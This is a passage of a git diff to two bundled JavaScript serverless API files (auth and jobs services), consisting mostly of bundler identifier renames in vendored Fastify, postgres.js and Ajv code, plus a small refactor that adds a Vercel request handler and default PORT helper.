afb79d0..2714afe 100644 --- a/api/auth/index.js +++ b/api/auth/index.js @@ -8659,8 +8659,8 @@ var require_queue = __commonJS({ } self2.drain = noop3; } - function error51(handler2) { - errorHandler = handler2; + function error51(handler) { + errorHandler = handler; } } function noop3() { @@ -12020,7 +12020,7 @@ var require_handle_request = __commonJS({ } const method = request.method; if (this[kSupportedHTTPMethods].bodyless.has(method)) { - handler2(request, reply); + handler(request, reply); return; } if (this[kSupportedHTTPMethods].bodywith.has(method)) { @@ -12040,10 +12040,10 @@ var require_handle_request = __commonJS({ } if (ctHeader === void 0) { if (isEmptyBody(headers)) { - handler2(request, reply); + handler(request, reply); return; } - request[kRouteContext].contentTypeParser.run("", handler2, request, reply); + request[kRouteContext].contentTypeParser.run("", handler, request, reply); return; } if (!request[kRequestContentType]) { @@ -12054,12 +12054,12 @@ var require_handle_request = __commonJS({ reply.status(415).send(new FST_ERR_CTP_INVALID_MEDIA_TYPE()); return; } - request[kRouteContext].contentTypeParser.run(request[kRequestContentType].toString(), handler2, request, reply); + request[kRouteContext].contentTypeParser.run(request[kRequestContentType].toString(), handler, request, reply); return; } - handler2(request, reply); + handler(request, reply); } - function handler2(request, reply) { + function handler(request, reply) { try { if (request[kRouteContext].preValidation !== null) { preValidationHookRunner( @@ -12172,7 +12172,7 @@ var require_handle_request = __commonJS({ } } module.exports = handleRequest; - module.exports[Symbol.for("internals")] = { handler: handler2, preHandlerCallback }; + module.exports[Symbol.for("internals")] = { handler, preHandlerCallback }; } }); @@ -13358,11 +13358,11 @@ var require_rfdc = __commonJS({ constructorHandlers.set(Map, (o, fn) => new Map(cloneArray(Array.from(o), fn))); constructorHandlers.set(Set, (o, fn) => new Set(cloneArray(Array.from(o), fn))); if (opts.constructorHandlers) { - for (const handler3 of opts.constructorHandlers) { - constructorHandlers.set(handler3[0], handler3[1]); + for (const handler2 of opts.constructorHandlers) { + constructorHandlers.set(handler2[0], handler2[1]); } } - let handler2 = null; + let handler = null; return opts.proto ? cloneProto : clone2; function cloneArray(a, fn) { const keys = Object.keys(a); @@ -13372,8 +13372,8 @@ var require_rfdc = __commonJS({ const cur = a[k]; if (typeof cur !== "object" || cur === null) { a2[k] = cur; - } else if (cur.constructor !== Object && (handler2 = constructorHandlers.get(cur.constructor))) { - a2[k] = handler2(cur, fn); + } else if (cur.constructor !== Object && (handler = constructorHandlers.get(cur.constructor))) { + a2[k] = handler(cur, fn); } else if (ArrayBuffer.isView(cur)) { a2[k] = copyBuffer(cur); } else { @@ -13385,8 +13385,8 @@ var require_rfdc = __commonJS({ function clone2(o) { if (typeof o !== "object" || o === null) return o; if (Array.isArray(o)) return cloneArray(o, clone2); - if (o.constructor !== Object && (handler2 = constructorHandlers.get(o.constructor))) { - return handler2(o, clone2); + if (o.constructor !== Object && (handler = constructorHandlers.get(o.constructor))) { + return handler(o, clone2); } const o2 = {}; for (const k in o) { @@ -13394,8 +13394,8 @@ var require_rfdc = __commonJS({ const cur = o[k]; if (typeof cur !== "object" || cur === null) { o2[k] = cur; - } else if (cur.constructor !== Object && (handler2 = constructorHandlers.get(cur.constructor))) { - o2[k] = handler2(cur, clone2); + } else if (cur.constructor !== Object && (handler = constructorHandlers.get(cur.constructor))) { + o2[k] = handler(cur, clone2); } else if (ArrayBuffer.isView(cur)) { o2[k] = copyBuffer(cur); } else { @@ -13407,16 +13407,16 @@ var require_rfdc = __commonJS({ function cloneProto(o) { if (typeof o !== "object" || o === null) return o; if (Array.isArray(o)) return cloneArray(o, cloneProto); - if (o.constructor !== Object && (handler2 = constructorHandlers.get(o.constructor))) { - return handler2(o, cloneProto); + if (o.constructor !== Object && (handler = constructorHandlers.get(o.constructor))) { + return handler(o, cloneProto); } const o2 = {}; for (const k in o) { const cur = o[k]; if (typeof cur !== "object" || cur === null) { o2[k] = cur; - } else if (cur.constructor !== Object && (handler2 = constructorHandlers.get(cur.constructor))) { - o2[k] = handler2(cur, cloneProto); + } else if (cur.constructor !== Object && (handler = constructorHandlers.get(cur.constructor))) { + o2[k] = handler(cur, cloneProto); } else if (ArrayBuffer.isView(cur)) { o2[k] = copyBuffer(cur); } else { @@ -13434,11 +13434,11 @@ var require_rfdc = __commonJS({ constructorHandlers.set(Map, (o, fn) => new Map(cloneArray(Array.from(o), fn))); constructorHandlers.set(Set, (o, fn) => new Set(cloneArray(Array.from(o), fn))); if (opts.constructorHandlers) { - for (const handler3 of opts.constructorHandlers) { - constructorHandlers.set(handler3[0], handler3[1]); + for (const handler2 of opts.constructorHandlers) { + constructorHandlers.set(handler2[0], handler2[1]); } } - let handler2 = null; + let handler = null; return opts.proto ? cloneProto : clone2; function cloneArray(a, fn) { const keys = Object.keys(a); @@ -13448,8 +13448,8 @@ var require_rfdc = __commonJS({ const cur = a[k]; if (typeof cur !== "object" || cur === null) { a2[k] = cur; - } else if (cur.constructor !== Object && (handler2 = constructorHandlers.get(cur.constructor))) { - a2[k] = handler2(cur, fn); + } else if (cur.constructor !== Object && (handler = constructorHandlers.get(cur.constructor))) { + a2[k] = handler(cur, fn); } else if (ArrayBuffer.isView(cur)) { a2[k] = copyBuffer(cur); } else { @@ -13466,8 +13466,8 @@ var require_rfdc = __commonJS({ function clone2(o) { if (typeof o !== "object" || o === null) return o; if (Array.isArray(o)) return cloneArray(o, clone2); - if (o.constructor !== Object && (handler2 = constructorHandlers.get(o.constructor))) { - return handler2(o, clone2); + if (o.constructor !== Object && (handler = constructorHandlers.get(o.constructor))) { + return handler(o, clone2); } const o2 = {}; refs.push(o); @@ -13477,8 +13477,8 @@ var require_rfdc = __commonJS({ const cur = o[k]; if (typeof cur !== "object" || cur === null) { o2[k] = cur; - } else if (cur.constructor !== Object && (handler2 = constructorHandlers.get(cur.constructor))) { - o2[k] = handler2(cur, clone2); + } else if (cur.constructor !== Object && (handler = constructorHandlers.get(cur.constructor))) { + o2[k] = handler(cur, clone2); } else if (ArrayBuffer.isView(cur)) { o2[k] = copyBuffer(cur); } else { @@ -13497,8 +13497,8 @@ var require_rfdc = __commonJS({ function cloneProto(o) { if (typeof o !== "object" || o === null) return o; if (Array.isArray(o)) return cloneArray(o, cloneProto); - if (o.constructor !== Object && (handler2 = constructorHandlers.get(o.constructor))) { - return handler2(o, cloneProto); + if (o.constructor !== Object && (handler = constructorHandlers.get(o.constructor))) { + return handler(o, cloneProto); } const o2 = {}; refs.push(o); @@ -13507,8 +13507,8 @@ var require_rfdc = __commonJS({ const cur = o[k]; if (typeof cur !== "object" || cur === null) { o2[k] = cur; - } else if (cur.constructor !== Object && (handler2 = constructorHandlers.get(cur.constructor))) { - o2[k] = handler2(cur, cloneProto); + } else if (cur.constructor !== Object && (handler = constructorHandlers.get(cur.constructor))) { + o2[k] = handler(cur, cloneProto); } else if (ArrayBuffer.isView(cur)) { o2[k] = copyBuffer(cur); } else { @@ -16822,7 +16822,7 @@ var require_context = __commonJS({ } = require_symbols3(); function Context({ schema, - handler: handler2, + handler, config: config2, childLoggerFactory, errorHandler, @@ -16841,7 +16841,7 @@ var require_context = __commonJS({ handlerTimeout }) { this.schema = schema; - this.handler = handler2; + this.handler = handler; this.Reply = server[kReply]; this.Request = server[kRequest]; this.contentTypeParser = server[kContentTypeParser]; @@ -17151,11 +17151,11 @@ var require_content_type_parser = __commonJS({ } return removed || idx > -1; }; - ContentTypeParser.prototype.run = function(contentType, handler2, request, reply) { + ContentTypeParser.prototype.run = function(contentType, handler, request, reply) { const parser = this.getParser(contentType); if (parser === void 0) { if (request.is404 === true) { - handler2(request, reply); + handler(request, reply); return; } reply[kReplyIsError] = true; @@ -17191,7 +17191,7 @@ var require_content_type_parser = __commonJS({ return; } request.body = body; - handler2(request, reply); + handler(request, reply); } }; function rawBody(request, reply, options, parser, done) { @@ -35165,8 +35165,8 @@ var require_handler_storage = __commonJS({ // The store's implementation comes from the strategies provided to the Router. _buildConstraintStore(store, constraint) { for (let i = 0; i < this.handlers.length; i++) { - const handler2 = this.handlers[i]; - const constraintValue = handler2.constraints[constraint]; + const handler = this.handlers[i]; + const constraintValue = handler.constraints[constraint]; if (constraintValue !== void 0) { let indexes = store.get(constraintValue) || 0; indexes |= 1 << i; @@ -35178,8 +35178,8 @@ var require_handler_storage = __commonJS({ _constrainedIndexBitmask(constraint) { let mask = 0; for (let i = 0; i < this.handlers.length; i++) { - const handler2 = this.handlers[i]; - const constraintValue = handler2.constraints[constraint]; + const handler = this.handlers[i]; + const constraintValue = handler.constraints[constraint]; if (constraintValue !== void 0) { mask |= 1 << i; } @@ -35951,25 +35951,25 @@ var require_find_my_way = __commonJS({ this.trees = /* @__PURE__ */ Object.create(null); this._treeGET = null; } - Router.prototype.on = function on(method, path, opts, handler2, store) { + Router.prototype.on = function on(method, path, opts, handler, store) { if (typeof opts === "function") { - if (handler2 !== void 0) { - store = handler2; + if (handler !== void 0) { + store = handler; } - handler2 = opts; + handler = opts; opts = {}; } assert2(typeof path === "string", "Path should be a string"); assert2(path.length > 0, "The path could not be empty"); assert2(path[0] === "/" || path[0] === "*", "The first character of a path should be `/` or `*`"); - assert2(typeof handler2 === "function", "Handler should be a function"); + assert2(typeof handler === "function", "Handler should be a function"); const optionalParamMatch = path.match(OPTIONAL_PARAM_REGEXP); if (optionalParamMatch) { assert2(path.length === optionalParamMatch.index + optionalParamMatch[0].length, "Optional Parameter needs to be the last parameter of the path"); const pathFull = path.replace(OPTIONAL_PARAM_REGEXP, "$1$2"); const pathOptional = path.replace(OPTIONAL_PARAM_REGEXP, "$2") || "/"; - this.on(method, pathFull, opts, handler2, store); - this.on(method, pathOptional, opts, handler2, store); + this.on(method, pathFull, opts, handler, store); + this.on(method, pathOptional, opts, handler, store); return; } const route = path; @@ -35983,10 +35983,10 @@ var require_find_my_way = __commonJS({ for (const method2 of methods) { assert2(typeof method2 === "string", "Method should be a string"); assert2(httpMethods.includes(method2), `Method '${method2}' is not an http method.`); - this._on(method2, path, opts, handler2, store, route); + this._on(method2, path, opts, handler, store, route); } }; - Router.prototype._on = function _on(method, path, opts, handler2, store) { + Router.prototype._on = function _on(method, path, opts, handler, store) { let constraints = {}; if (opts.constraints !== void 0) { assert2(typeof opts.constraints === "object" && opts.constraints !== null, "Constraints should be an object"); @@ -36107,7 +36107,7 @@ var require_find_my_way = __commonJS({ throw new Error(`Method '${method}' already declared for route '${pattern}' with constraints '${JSON.stringify(constraints)}'`); } } - const route = { method, path, pattern, params, opts, handler: handler2, store }; + const route = { method, path, pattern, params, opts, handler, store }; this.routes.push(route); currentNode.addRoute(route, this.constrainer); }; @@ -36459,8 +36459,8 @@ var require_find_my_way = __commonJS({ Router.prototype._rebuild = function(routes) { this.reset(); for (const route of routes) { - const { method, path, opts, handler: handler2, store } = route; - this._on(method, path, opts, handler2, store); + const { method, path, opts, handler, store } = route; + this._on(method, path, opts, handler, store); } }; Router.prototype._defaultRoute = function(req, res, ctx) { @@ -36520,12 +36520,12 @@ var require_find_my_way = __commonJS({ if (!httpMethods.hasOwnProperty(i)) continue; const m = httpMethods[i]; const methodName = m.toLowerCase(); - Router.prototype[methodName] = function(path, handler2, store) { - return this.on(m, path, handler2, store); + Router.prototype[methodName] = function(path, handler, store) { + return this.on(m, path, handler, store); }; } - Router.prototype.all = function(path, handler2, store) { - this.on(httpMethods, path, handler2, store); + Router.prototype.all = function(path, handler, store) { + this.on(httpMethods, path, handler, store); }; Router.sanitizeUrlPath = function sanitizeUrlPath(url2, useSemicolonDelimiter) { const decoded = safeDecodeURI(url2, useSemicolonDelimiter); @@ -36791,14 +36791,14 @@ var require_route = __commonJS({ function isAsyncConstraint() { return router.constrainer.asyncStrategiesInUse.size > 0; } - function prepareRoute({ method, url: url2, options: options2, handler: handler2, isFastify }) { + function prepareRoute({ method, url: url2, options: options2, handler, isFastify }) { if (typeof url2 !== "string") { throw new FST_ERR_INVALID_URL(typeof url2); } - if (!handler2 && typeof options2 === "function") { - handler2 = options2; + if (!handler && typeof options2 === "function") { + handler = options2; options2 = {}; - } else if (handler2 && typeof handler2 === "function") { + } else if (handler && typeof handler === "function") { if (Object.prototype.toString.call(options2) !== "[object Object]") { throw new FST_ERR_ROUTE_OPTIONS_NOT_OBJ(method, url2); } else if (options2.handler) { @@ -36813,7 +36813,7 @@ var require_route = __commonJS({ method, url: url2, path: url2, - handler: handler2 || options2 && options2.handler + handler: handler || options2 && options2.handler }); return route.call(this, { options: options2, isFastify }); } @@ -37264,7 +37264,7 @@ var require_four_oh_four = __commonJS({ _404Context.onSend = context2.onSend; context2[kFourOhFourContext] = _404Context; } - function setNotFoundHandler(opts, handler2, avvio, routeHandler) { + function setNotFoundHandler(opts, handler, avvio, routeHandler) { if (this[kCanSetNotFoundHandler] === void 0) { this[kCanSetNotFoundHandler] = true; } @@ -37293,25 +37293,25 @@ var require_four_oh_four = __commonJS({ } } if (typeof opts === "function") { - handler2 = opts; + handler = opts; opts = void 0; } opts = opts || {}; - if (handler2) { + if (handler) { this[kFourOhFourLevelInstance][kCanSetNotFoundHandler] = false; - handler2 = handler2.bind(this); + handler = handler.bind(this); } else { - handler2 = basic404; + handler = basic404; } this.after((notHandledErr, done) => { - _setNotFoundHandler.call(this, prefix, opts, handler2, avvio, routeHandler); + _setNotFoundHandler.call(this, prefix, opts, handler, avvio, routeHandler); done(notHandledErr); }); } - function _setNotFoundHandler(prefix, opts, handler2, avvio, routeHandler) { + function _setNotFoundHandler(prefix, opts, handler, avvio, routeHandler) { const context2 = new Context({ schema: opts.schema, - handler: handler2, + handler, config: opts.config || {}, server: this }); @@ -39534,35 +39534,35 @@ var require_fastify = __commonJS({ // routing method routing: httpHandler, // routes shorthand methods - delete: function _delete(url2, options2, handler2) { - return router.prepareRoute.call(this, { method: "DELETE", url: url2, options: options2, handler: handler2 }); + delete: function _delete(url2, options2, handler) { + return router.prepareRoute.call(this, { method: "DELETE", url: url2, options: options2, handler }); }, - get: function _get(url2, options2, handler2) { - return router.prepareRoute.call(this, { method: "GET", url: url2, options: options2, handler: handler2 }); + get: function _get(url2, options2, handler) { + return router.prepareRoute.call(this, { method: "GET", url: url2, options: options2, handler }); }, - head: function _head(url2, options2, handler2) { - return router.prepareRoute.call(this, { method: "HEAD", url: url2, options: options2, handler: handler2 }); + head: function _head(url2, options2, handler) { + return router.prepareRoute.call(this, { method: "HEAD", url: url2, options: options2, handler }); }, - trace: function _trace(url2, options2, handler2) { - return router.prepareRoute.call(this, { method: "TRACE", url: url2, options: options2, handler: handler2 }); + trace: function _trace(url2, options2, handler) { + return router.prepareRoute.call(this, { method: "TRACE", url: url2, options: options2, handler }); }, - patch: function _patch(url2, options2, handler2) { - return router.prepareRoute.call(this, { method: "PATCH", url: url2, options: options2, handler: handler2 }); + patch: function _patch(url2, options2, handler) { + return router.prepareRoute.call(this, { method: "PATCH", url: url2, options: options2, handler }); }, - post: function _post(url2, options2, handler2) { - return router.prepareRoute.call(this, { method: "POST", url: url2, options: options2, handler: handler2 }); + post: function _post(url2, options2, handler) { + return router.prepareRoute.call(this, { method: "POST", url: url2, options: options2, handler }); }, - put: function _put(url2, options2, handler2) { - return router.prepareRoute.call(this, { method: "PUT", url: url2, options: options2, handler: handler2 }); + put: function _put(url2, options2, handler) { + return router.prepareRoute.call(this, { method: "PUT", url: url2, options: options2, handler }); }, - options: function _options(url2, options2, handler2) { - return router.prepareRoute.call(this, { method: "OPTIONS", url: url2, options: options2, handler: handler2 }); + options: function _options(url2, options2, handler) { + return router.prepareRoute.call(this, { method: "OPTIONS", url: url2, options: options2, handler }); }, - query: function _query(url2, options2, handler2) { - return router.prepareRoute.call(this, { method: "QUERY", url: url2, options: options2, handler: handler2 }); + query: function _query(url2, options2, handler) { + return router.prepareRoute.call(this, { method: "QUERY", url: url2, options: options2, handler }); }, - all: function _all(url2, options2, handler2) { - return router.prepareRoute.call(this, { method: this.supportedMethods, url: url2, options: options2, handler: handler2 }); + all: function _all(url2, options2, handler) { + return router.prepareRoute.call(this, { method: this.supportedMethods, url: url2, options: options2, handler }); }, // extended route route: function _route(options2) { @@ -39728,7 +39728,7 @@ var require_fastify = __commonJS({ avvio.override = override; avvio.on("start", () => fastify2[kState].started = true); fastify2[kAvvioBoot] = fastify2.ready; - fastify2.ready = ready2; + fastify2.ready = ready; fastify2.printPlugins = avvio.prettyPrint.bind(avvio); avvio.once("preReady", () => { fastify2.onClose((instance, done) => { @@ -39824,7 +39824,7 @@ var require_fastify = __commonJS({ }, opts); } } - function ready2(cb) { + function ready(cb) { if (this[kState].readyResolver !== null) { if (cb != null) { this[kState].readyResolver.promise.then(() => cb(null, fastify2), cb); @@ -39982,9 +39982,9 @@ var require_fastify = __commonJS({ } }; } - function setNotFoundHandler(opts, handler2) { + function setNotFoundHandler(opts, handler) { throwIfAlreadyStarted('Cannot call "setNotFoundHandler"!'); - fourOhFour.setNotFoundHandler.call(this, opts, handler2, avvio, router.routeHandler); + fourOhFour.setNotFoundHandler.call(this, opts, handler, avvio, router.routeHandler); return this; } function setValidatorCompiler(validatorCompiler) { @@ -40082,8 +40082,8 @@ var require_fastify = __commonJS({ } const _method = method.toLowerCase(); if (!this.hasDecorator(_method)) { - this.decorate(_method, function(url2, options2, handler2) { - return router.prepareRoute.call(this, { method, url: url2, options: options2, handler: handler2 }); + this.decorate(_method, function(url2, options2, handler) { + return router.prepareRoute.call(this, { method, url: url2, options: options2, handler }); }); } return this; @@ -46023,6 +46023,21 @@ function createLogger({ service, level = "info", pretty = false }) { }); } +// packages/utils/src/vercel.ts +function createVercelHandler(app2) { + const ready = Promise.resolve(app2.ready()); + ready.catch(() => void 0); + return async (req, res) => { + await ready; + app2.server.emit("request", req, res); + }; +} +var SERVERLESS_PLACEHOLDER_PORT = "3000"; +function withServerlessEnvDefaults(source = process.env) { + if (!source.VERCEL) return source; + return { ...source, PORT: source.PORT ?? SERVERLESS_PLACEHOLDER_PORT }; +} + // node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/lib/buffer_utils.js var encoder = new TextEncoder(); var decoder = new TextDecoder(); @@ -61916,7 +61931,7 @@ var originStackCache = /* @__PURE__ */ new Map(); var originError = Symbol("OriginError"); var CLOSE = {}; var Query = class extends Promise { - constructor(strings, args, handler2, canceller, options = {}) { + constructor(strings, args, handler, canceller, options = {}) { let resolve, reject; super((a, b2) => { resolve = a; @@ -61925,7 +61940,7 @@ var Query = class extends Promise { this.tagged = Array.isArray(strings.raw); this.strings = strings; this.args = args; - this.handler = handler2; + this.handler = handler; this.canceller = canceller; this.options = options; this.state = null; @@ -63651,7 +63666,7 @@ function Postgres(a, b2) { let ending = false; const queries = queue_default(), connecting = queue_default(), reserved = queue_default(), closed = queue_default(), ended = queue_default(), open = queue_default(), busy = queue_default(), full = queue_default(), queues = { connecting, reserved, closed, ended, open, busy, full }; const connections = [...Array(options.max)].map(() => connection_default(options, queues, { onopen, onend, onclose })); - const sql3 = Sql(handler2); + const sql3 = Sql(handler); Object.assign(sql3, { get parameters() { return options.parameters; @@ -63669,8 +63684,8 @@ function Postgres(a, b2) { end }); return sql3; - function Sql(handler3) { - handler3.debug = options.debug; + function Sql(handler2) { + handler2.debug = options.debug; Object.entries(options.types).reduce((acc, [name, type]) => { acc[name] = (x) => new Parameter(x, type.to); return acc; @@ -63689,12 +63704,12 @@ function Postgres(a, b2) { return new Parameter(value, type); } function sql4(strings, ...args) { - const query = strings && Array.isArray(strings.raw) ? new Query(strings, args, handler3, cancel) : typeof strings === "string" && !args.length ? new Identifier(options.transform.column.to ? options.transform.column.to(strings) : strings) : new Builder(strings, args); + const query = strings && Array.isArray(strings.raw) ? new Query(strings, args, handler2, cancel) : typeof strings === "string" && !args.length ? new Identifier(options.transform.column.to ? options.transform.column.to(strings) : strings) : new Builder(strings, args); return query; } function unsafe(string4, args = [], options2 = {}) { arguments.length === 2 && !Array.isArray(args) && (options2 = args, args = []); - const query = new Query([string4], args, handler3, cancel, { + const query = new Query([string4], args, handler2, cancel, { prepare: false, ...options2, simple: "simple" in options2 ? options2.simple : args.length === 0 @@ -63708,7 +63723,7 @@ function Postgres(a, b2) { if (err) return query2.reject(err); query2.strings = [string4]; - handler3(query2); + handler2(query2); }); }, cancel, { ...options2, @@ -63770,13 +63785,13 @@ function Postgres(a, b2) { move(c, reserved); c.reserved = () => queue.length ? c.execute(queue.shift()) : move(c, reserved); c.reserved.release = true; - const sql4 = Sql(handler3); + const sql4 = Sql(handler2); sql4.release = () => { c.reserved = null; onopen(c); }; return sql4; - function handler3(q) { + function handler2(q) { c.queue === full ? queue.push(q) : c.execute(q) || move(c, full); } } @@ -63794,7 +63809,7 @@ function Postgres(a, b2) { throw error51; } async function scope(c, fn2, name) { - const sql4 = Sql(handler3); + const sql4 = Sql(handler2); sql4.savepoint = savepoint; sql4.prepare = (x) => prepare = x.replace(/[^a-z0-9$-_. ]/gi); let uncaughtError, result; @@ -63820,7 +63835,7 @@ function Postgres(a, b2) { arguments.length === 1 && (fn3 = name2, name2 = null); return scope(c, fn3, "s" + savepoints++ + (name2 ? "_" + name2 : "")); } - function handler3(q) { + function handler2(q) { q.catch((e) => uncaughtError || (uncaughtError = e)); c.queue === full ? queries2.push(q) : c.execute(q) || move(c, full); } @@ -63846,7 +63861,7 @@ function Postgres(a, b2) { return array2(Array.from(arguments)); return new Parameter(x, type || (x.length ? inferType(x) || 25 : 0), options.shared.typeArrayMap); } - function handler2(query) { + function handler(query) { if (ending) return query.reject(Errors.connection("CONNECTION_ENDED", options, options)); if (open.length) @@ -63896,14 +63911,14 @@ function Postgres(a, b2) { function onopen(c) { if (queries.length === 0) return move(c, open); - let max = Math.ceil(queries.length / (connecting.length + 1)), ready2 = true; - while (ready2 && queries.length && max-- > 0) { + let max = Math.ceil(queries.length / (connecting.length + 1)), ready = true; + while (ready && queries.length && max-- > 0) { const query = queries.shift(); if (query.reserve) return query.reserve(c); - ready2 = c.execute(query); + ready = c.execute(query); } - ready2 ? move(c, busy) : move(c, full); + ready ? move(c, busy) : move(c, full); } function onclose(c, e) { move(c, closed); @@ -71858,16 +71873,12 @@ function loadAuthServiceEnv(source = process.env) { } // services/auth/src/index.ts -var env = loadAuthServiceEnv(); +var env = loadAuthServiceEnv(withServerlessEnvDefaults()); var logger = createLogger({ service: "auth-service", level: env.LOG_LEVEL, pretty: env.LOG_PRETTY }); var { db, sql: sql2, close } = createDatabase({ url: env.DATABASE_URL, maxConnections: env.DATABASE_POOL_MAX }); var tokenVerifier = createTokenVerifierConfig(env); var app = buildApp({ db, sql: sql2, env, logger, tokenVerifier }); -var ready = app.ready(); -async function handler(req, res) { - await ready; - app.server.emit("request", req, res); -} +var index_default = createVercelHandler(app); if (!process.env.VERCEL) { const shutdown = async (signal) => { logger.info({ signal }, "shutting down"); @@ -71881,7 +71892,7 @@ if (!process.env.VERCEL) { } export { app, - handler as default + index_default as default }; /*! Bundled license information: diff --git a/api/jobs/index.js b/api/jobs/index.js index 0db8407..efd8e80 100644 --- a/api/jobs/index.js +++ b/api/jobs/index.js @@ -10463,13 +10463,13 @@ var require_format = __commonJS({ var defs = require_defs(); var format = __require("util").format; var HEARTBEAT = require_frame().HEARTBEAT; - module.exports.closeMessage = function(close) { - var code = close.fields.replyCode; + module.exports.closeMessage = function(close2) { + var code = close2.fields.replyCode; return format( '%d (%s) with message "%s"', code, defs.constant_strs[code], - close.fields.replyText + close2.fields.replyText ); }; module.exports.methodName = function(id) { @@ -21626,8 +21626,8 @@ var require_log_controller = __commonJS({ * @param {import('../fastify').FastifyBaseLogger} logger * @param {import('../fastify').FastifyInstance} server */ - serviceUnavailable(logger, server) { - logger.info({ res: { statusCode: 503 } }, "request aborted - refusing to accept new requests as server is closing"); + serviceUnavailable(logger2, server) { + logger2.info({ res: { statusCode: 503 } }, "request aborted - refusing to accept new requests as server is closing"); } }; module.exports = { LogController }; @@ -21674,20 +21674,20 @@ var require_logger_pino = __commonJS({ } const prevLogger = opts.logger; const prevGenReqId = opts.genReqId; - let logger = null; + let logger2 = null; if (prevLogger) { opts.logger = void 0; opts.genReqId = void 0; if (prevLogger[serializersSym]) { opts.serializers = Object.assign({}, opts.serializers, prevLogger[serializersSym]); } - logger = prevLogger.child({}, opts); + logger2 = prevLogger.child({}, opts); opts.logger = prevLogger; opts.genReqId = prevGenReqId; } else { - logger = pino2(opts, opts.stream); + logger2 = pino2(opts, opts.stream); } - return logger; + return logger2; } var serializers2 = { req: function asReqValue(req) { @@ -21730,22 +21730,22 @@ var require_logger_factory = __commonJS({ kLogController } = require_symbols3(); var { LogController } = require_log_controller(); - function createChildLogger(context2, logger, req, reqId, loggerOpts) { + function createChildLogger(context2, logger2, req, reqId, loggerOpts) { const loggerBindings = { [context2.server[kLogController].requestIdLogLabel]: reqId }; - const child = context2.childLoggerFactory.call(context2.server, logger, loggerBindings, loggerOpts || {}, req); + const child = context2.childLoggerFactory.call(context2.server, logger2, loggerBindings, loggerOpts || {}, req); if (context2.childLoggerFactory !== defaultChildLoggerFactory) { validateLogger(child, true); } return child; } - function defaultChildLoggerFactory(logger, bindings, opts) { - return logger.child(bindings, opts); + function defaultChildLoggerFactory(logger2, bindings, opts) { + return logger2.child(bindings, opts); } - function validateLogger(logger, strict) { + function validateLogger(logger2, strict) { const methods = ["info", "error", "debug", "fatal", "warn", "trace", "child"]; - const missingMethods = logger ? methods.filter((method) => !logger[method] || typeof logger[method] !== "function") : methods; + const missingMethods = logger2 ? methods.filter((method) => !logger2[method] || typeof logger2[method] !== "function") : methods; if (!missingMethods.length) { return true; } else if (missingMethods.length === methods.length && !strict) { @@ -21760,17 +21760,17 @@ var require_logger_factory = __commonJS({ } if (!options.loggerInstance && !options.logger) { const nullLogger = require_abstract_logging(); - const logger2 = nullLogger; - logger2.child = () => logger2; - return { logger: logger2, hasLogger: false }; + const logger3 = nullLogger; + logger3.child = () => logger3; + return { logger: logger3, hasLogger: false }; } const { createPinoLogger, serializers: serializers2 } = require_logger_pino(); if (validateLogger(options.loggerInstance)) { - const logger2 = createPinoLogger({ + const logger3 = createPinoLogger({ logger: options.loggerInstance, serializers: Object.assign({}, serializers2, options.loggerInstance.serializers) }); - return { logger: logger2, hasLogger: true }; + return { logger: logger3, hasLogger: true }; } if (validateLogger(options.logger)) { throw FST_ERR_LOG_INVALID_LOGGER_CONFIG(); @@ -21792,8 +21792,8 @@ var require_logger_factory = __commonJS({ localLoggerOptions.level = localLoggerOptions.level || "info"; localLoggerOptions.serializers = Object.assign({}, serializers2, localLoggerOptions.serializers); options.logger = localLoggerOptions; - const logger = createPinoLogger(options.logger); - return { logger, hasLogger: true }; + const logger2 = createPinoLogger(options.logger); + return { logger: logger2, hasLogger: true }; } function createLogController(options) { const userController = options.logController; @@ -22204,8 +22204,8 @@ var require_error_serializer = __commonJS({ json3 += JSON_STR_END_OBJECT; return json3; } - const main2 = anonymous0; - return main2; + const main = anonymous0; + return main; }(validator, serializer); } }); @@ -28097,20 +28097,20 @@ var require_compile = __commonJS({ var util_1 = require_util(); var validate_1 = require_validate(); var SchemaEnv = class { - constructor(env) { + constructor(env2) { var _a3; this.refs = {}; this.dynamicAnchors = {}; let schema; - if (typeof env.schema == "object") - schema = env.schema; - this.schema = env.schema; - this.schemaId = env.schemaId; - this.root = env.root || this; - this.baseId = (_a3 = env.baseId) !== null && _a3 !== void 0 ? _a3 : (0, resolve_1.normalizeId)(schema === null || schema === void 0 ? void 0 : schema[env.schemaId || "$id"]); - this.schemaPath = env.schemaPath; - this.localRefs = env.localRefs; - this.meta = env.meta; + if (typeof env2.schema == "object") + schema = env2.schema; + this.schema = env2.schema; + this.schemaId = env2.schemaId; + this.root = env2.root || this; + this.baseId = (_a3 = env2.baseId) !== null && _a3 !== void 0 ? _a3 : (0, resolve_1.normalizeId)(schema === null || schema === void 0 ? void 0 : schema[env2.schemaId || "$id"]); + this.schemaPath = env2.schemaPath; + this.localRefs = env2.localRefs; + this.meta = env2.meta; this.$async = schema === null || schema === void 0 ? void 0 : schema.$async; this.refs = {}; } @@ -28294,15 +28294,15 @@ var require_compile = __commonJS({ baseId = (0, resolve_1.resolveUrl)(this.opts.uriResolver, baseId, schId); } } - let env; + let env2; if (typeof schema != "boolean" && schema.$ref && !(0, util_1.schemaHasRulesButRef)(schema, this.RULES)) { const $ref = (0, resolve_1.resolveUrl)(this.opts.uriResolver, baseId, schema.$ref); - env = resolveSchema.call(this, root, $ref); + env2 = resolveSchema.call(this, root, $ref); } const { schemaId } = this.opts; - env = env || new SchemaEnv({ schema, schemaId, root, baseId }); - if (env.schema !== env.root.schema) - return env; + env2 = env2 || new SchemaEnv({ schema, schemaId, root, baseId }); + if (env2.schema !== env2.root.schema) + return env2; return void 0; } } @@ -29989,13 +29989,13 @@ var require_core = __commonJS({ }, warn() { }, error() { } }; - function getLogger(logger) { - if (logger === false) + function getLogger(logger2) { + if (logger2 === false) return noLogs; - if (logger === void 0) + if (logger2 === void 0) return console; - if (logger.log && logger.warn && logger.error) - return logger; + if (logger2.log && logger2.warn && logger2.error) + return logger2; throw new Error("logger must implement log, warn and error methods"); } var KEYWORD_NAME = /^[a-z_$][a-z0-9_$:-]*$/i; @@ -30100,8 +30100,8 @@ var require_ref = __commonJS({ schemaType: "string", code(cxt) { const { gen, schema: $ref, it } = cxt; - const { baseId, schemaEnv: env, validateName, opts, self: self2 } = it; - const { root } = env; + const { baseId, schemaEnv: env2, validateName, opts, self: self2 } = it; + const { root } = env2; if (($ref === "#" || $ref === "#/") && baseId === root.baseId) return callRootRef(); const schOrEnv = compile_1.resolveRef.call(self2, root, baseId, $ref); @@ -30111,8 +30111,8 @@ var require_ref = __commonJS({ return callValidate(schOrEnv); return inlineRefSchema(schOrEnv); function callRootRef() { - if (env === root) - return callRef(cxt, validateName, env, 